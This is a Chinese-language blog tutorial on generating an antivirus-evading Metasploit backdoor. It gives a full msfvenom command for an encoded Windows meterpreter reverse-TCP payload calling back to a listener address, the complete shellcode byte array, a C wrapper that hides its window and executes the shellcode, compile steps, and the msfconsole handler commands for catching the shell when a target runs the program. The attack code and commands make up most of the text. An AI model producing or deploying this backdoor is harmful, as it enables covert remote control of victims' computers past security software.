利用metasploit生成免杀后门

免杀

之前的博客中,有利用msf生成代码,目标机执行然后获得shell。但是现在有很多杀软,对各种木马有检测机制,执行危险代码或者运行危险程序,杀软会进行阻止。

免杀有很多种方式,今天介绍一种利用msf生成shellcode免杀,编译为exe文件,这种免杀能够绕过大部分杀软

静态免杀

静态免杀是能够绕过杀软检测,运行时也不会报毒。但是执行危险命令就会报毒,比如说新建用户、进程注入等。

使用工具:kali、vc++6.0

在kali中生成shellcode免杀

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b\x00’ lhost=192.168.1.157 lport=5555 -f c -o /root/Desktop/sha.c

e参数指定编码方式,i参数指定编码次数,b参数去除指定代码,一般是空代码或者错误代码,-f指定生成格式,-o指定输出路径。

执行上述代码之后,会生成sha.c,名字可以随意

打开sha.c文件,其中代码为:

unsigned char buf[] = 
"\xdd\xc3\xd9\x74\x24\xf4\x5d\xba\xbd\xe7\xf9\x0b\x31\xc9\xb1"
"\x6f\x31\x55\x18\x83\xed\xfc\x03\x55\xa9\x05\x0c\xd2\x3d\x77"
"\x53\x61\x35\xaf\x75\x1e\x61\x44\xde\xec\xa0\x15\x89\x23\x41"
"\x4f\xc9\x87\xa1\x6c\xbe\x12\xf7\x03\x13\xe7\x40\xea\xd3\xe6"
"\x63\xa0\x0c\xe9\x4f\x15\x78\x32\xa8\x5e\xf1\xf2\x2d\x5d\xf4"
"\x26\x31\xca\xe4\xf0\x75\x9b\xc1\x98\x45\xe0\x4d\xf0\x9e\xb4"
"\x9d\xf3\x1d\xca\xc0\xa0\x3f\xe9\x5a\x79\xcb\x54\x24\xd6\x73"
"\x5a\xd6\x36\x6a\xa2\xff\x53\xe9\x4f\x73\x92\x53\x24\x1b\xc5"
"\x5a\x62\x22\x49\x23\x6d\x35\x23\x49\x21\xc1\xc8\x70\x89\x0f"
"\xa7\x95\x5b\x43\x2b\x94\xcf\x91\x89\x61\x18\xa7\x83\x76\x3f"
"\x91\x83\x53\x84\xa3\xa8\x05\x53\x1c\x71\x73\x69\x0f\x33\x11"
"\xeb\xef\x79\xc2\x30\x3b\x7a\x79\x8d\x6e\x39\x24\x9d\x68\x3c"
"\x51\x3f\x1d\x4a\xcb\x06\xcf\xc1\x88\xb2\xc0\x6b\xab\x7b\xe1"
"\x8f\x89\x5b\x58\xaa\x52\xe0\x72\x08\x0e\xc1\x97\xea\xd7\x1d"
"\x8e\x5f\x68\xef\xd8\xce\x3e\x0a\xd5\xfd\x72\x38\x92\x1b\x26"
"\x69\x06\xde\x1c\x1a\x58\xce\xdc\x83\x87\x18\x3d\x76\x6a\xd3"
"\x11\x3d\x0a\xb8\x27\x8f\x3f\x0d\xed\xe7\x38\x79\xbd\x34\x05"
"\x10\x96\x34\xea\x15\x60\xb9\x79\x83\xcd\x55\x66\xfc\xa5\x4f"
"\x82\xfe\x16\x97\x9d\xc8\x84\x98\x7d\x76\xa3\xb3\xea\x87\x53"
"\x93\xff\x1e\xa7\xc5\x9c\x37\x30\x8d\x7e\x47\x55\x1c\x36\x95"
"\x0a\x89\xa1\xf9\x61\x92\x6f\xb2\xec\xf1\xb1\x16\x7c\xe7\x2a"
"\x9e\xa4\x4c\x29\xea\x33\x10\x17\x25\x74\x15\x60\xfa\x1a\x97"
"\x70\x88\x9c\x4e\x3e\x79\xef\x0d\x88\xce\xfe\xd7\x7a\x12\xab"
"\xc6\xd8\x97\x73\x03\x89\xbf\xa8\xfd\xb3\xe5\xc7\xa1\x2c\x62"
"\x4e\xd7\x25\x55\x64\x2d\x93\x01\x17\xd4\x51\xb4\xfd\xe7\x43"
"\x37\xfc\x68\xf2\xbc\x9c\xf8\x06\x46\xeb\x0c\xa8\xb8\x0b\x85"
"\xdd\x34\x96\x69\x49\x2a\x81\x7c\xf7\x45\xdc\x0f\x96\x2a\xdd"
"\xf3\xbc\xb6\x1e\x7e\x1c\xc4\xfa\x31\xea\xe3\x47\x15\xe4\x29"
"\x54\xb0\xb7\xba\xaf\x11\xbd\xa0\x46\x72\x71\x5d\x76\x17\xe6"
"\x37\x79\xde\x28\x16\x7d\xa3\xb6\x2b\x4c\xaa\xc5\x12\xd7\xae"
"\xca\x3c\xcf\x25\x27\xd1\x4a\xe5\x62\x36\x1e\xef\x21\xfa\x67"
"\xb3\x7e\xa0";

手动添加一点代码,使其为一个完成c程序代码

#include
#include
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

unsigned char buf[] = 
"\xdd\xc3\xd9\x74\x24\xf4\x5d\xba\xbd\xe7\xf9\x0b\x31\xc9\xb1"
"\x6f\x31\x55\x18\x83\xed\xfc\x03\x55\xa9\x05\x0c\xd2\x3d\x77"
"\x53\x61\x35\xaf\x75\x1e\x61\x44\xde\xec\xa0\x15\x89\x23\x41"
"\x4f\xc9\x87\xa1\x6c\xbe\x12\xf7\x03\x13\xe7\x40\xea\xd3\xe6"
"\x63\xa0\x0c\xe9\x4f\x15\x78\x32\xa8\x5e\xf1\xf2\x2d\x5d\xf4"
"\x26\x31\xca\xe4\xf0\x75\x9b\xc1\x98\x45\xe0\x4d\xf0\x9e\xb4"
"\x9d\xf3\x1d\xca\xc0\xa0\x3f\xe9\x5a\x79\xcb\x54\x24\xd6\x73"
"\x5a\xd6\x36\x6a\xa2\xff\x53\xe9\x4f\x73\x92\x53\x24\x1b\xc5"
"\x5a\x62\x22\x49\x23\x6d\x35\x23\x49\x21\xc1\xc8\x70\x89\x0f"
"\xa7\x95\x5b\x43\x2b\x94\xcf\x91\x89\x61\x18\xa7\x83\x76\x3f"
"\x91\x83\x53\x84\xa3\xa8\x05\x53\x1c\x71\x73\x69\x0f\x33\x11"
"\xeb\xef\x79\xc2\x30\x3b\x7a\x79\x8d\x6e\x39\x24\x9d\x68\x3c"
"\x51\x3f\x1d\x4a\xcb\x06\xcf\xc1\x88\xb2\xc0\x6b\xab\x7b\xe1"
"\x8f\x89\x5b\x58\xaa\x52\xe0\x72\x08\x0e\xc1\x97\xea\xd7\x1d"
"\x8e\x5f\x68\xef\xd8\xce\x3e\x0a\xd5\xfd\x72\x38\x92\x1b\x26"
"\x69\x06\xde\x1c\x1a\x58\xce\xdc\x83\x87\x18\x3d\x76\x6a\xd3"
"\x11\x3d\x0a\xb8\x27\x8f\x3f\x0d\xed\xe7\x38\x79\xbd\x34\x05"
"\x10\x96\x34\xea\x15\x60\xb9\x79\x83\xcd\x55\x66\xfc\xa5\x4f"
"\x82\xfe\x16\x97\x9d\xc8\x84\x98\x7d\x76\xa3\xb3\xea\x87\x53"
"\x93\xff\x1e\xa7\xc5\x9c\x37\x30\x8d\x7e\x47\x55\x1c\x36\x95"
"\x0a\x89\xa1\xf9\x61\x92\x6f\xb2\xec\xf1\xb1\x16\x7c\xe7\x2a"
"\x9e\xa4\x4c\x29\xea\x33\x10\x17\x25\x74\x15\x60\xfa\x1a\x97"
"\x70\x88\x9c\x4e\x3e\x79\xef\x0d\x88\xce\xfe\xd7\x7a\x12\xab"
"\xc6\xd8\x97\x73\x03\x89\xbf\xa8\xfd\xb3\xe5\xc7\xa1\x2c\x62"
"\x4e\xd7\x25\x55\x64\x2d\x93\x01\x17\xd4\x51\xb4\xfd\xe7\x43"
"\x37\xfc\x68\xf2\xbc\x9c\xf8\x06\x46\xeb\x0c\xa8\xb8\x0b\x85"
"\xdd\x34\x96\x69\x49\x2a\x81\x7c\xf7\x45\xdc\x0f\x96\x2a\xdd"
"\xf3\xbc\xb6\x1e\x7e\x1c\xc4\xfa\x31\xea\xe3\x47\x15\xe4\x29"
"\x54\xb0\xb7\xba\xaf\x11\xbd\xa0\x46\x72\x71\x5d\x76\x17\xe6"
"\x37\x79\xde\x28\x16\x7d\xa3\xb6\x2b\x4c\xaa\xc5\x12\xd7\xae"
"\xca\x3c\xcf\x25\x27\xd1\x4a\xe5\x62\x36\x1e\xef\x21\xfa\x67"
"\xb3\x7e\xa0";

main()
{
__asm   
    {   
        lea eax,buf;   
        call eax;   
    }   
}

上述代码编译后的exe程序,执行是不会弹框的,有一定隐蔽性

用vc++6.0来编译sha.c文件

利用metasploit生成免杀后门_第1张图片

然后会生成一个Debug文件夹,里面有个sha.exe文件,就是免杀后门程序
利用metasploit生成免杀后门_第2张图片

接下来去kali下监听,注意端口一致

msfconsole #打开msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.157
set lport 5555
exploit # 开始监听

利用metasploit生成免杀后门_第3张图片
目标机运行sha.exe程序,就能拿到shell
利用metasploit生成免杀后门_第4张图片
切记这种免杀只是静态免杀,如果执行危险命令还是会报毒

你可能感兴趣的:(msf)